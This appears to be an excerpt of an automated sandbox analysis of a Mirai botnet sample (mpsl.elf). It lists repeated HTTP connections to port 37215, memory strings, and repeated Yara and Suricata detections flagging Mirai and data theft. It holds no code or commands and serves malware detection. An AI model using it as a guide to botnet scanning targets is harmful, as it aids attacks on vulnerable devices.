Source: unknown	Network traffic detected: HTTP traffic on port 54026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56028 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43872 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56630 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52836 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46478 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45456 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59706 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33798 -> 37215

Source: /tmp/mpsl.elf (PID: 6221)

Queries kernel information via 'uname':

Jump to behavior

Source: mpsl.elf, 6221.1.000056417b7dd000.000056417b864000.rw-.sdmp, mpsl.elf, 6225.1.000056417b7dd000.000056417b864000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6221.1.000056417b7dd000.000056417b864000.rw-.sdmp, mpsl.elf, 6225.1.000056417b7dd000.000056417b864000.rw-.sdmp	Binary or memory string: {AV!/etc/qemu-binfmt/mipsel
Source: mpsl.elf, 6221.1.00007ffc417bc000.00007ffc417dd000.rw-.sdmp, mpsl.elf, 6225.1.00007ffc417bc000.00007ffc417dd000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mpsl.elf
Source: mpsl.elf, 6221.1.00007ffc417bc000.00007ffc417dd000.rw-.sdmp, mpsl.elf, 6225.1.00007ffc417bc000.00007ffc417dd000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mpsl.elf, type: SAMPLE
Source: Yara match	File source: 6225.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.00007ff8bc400000.00007ff8bc416000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 6221, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mpsl.elf PID: 6225, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
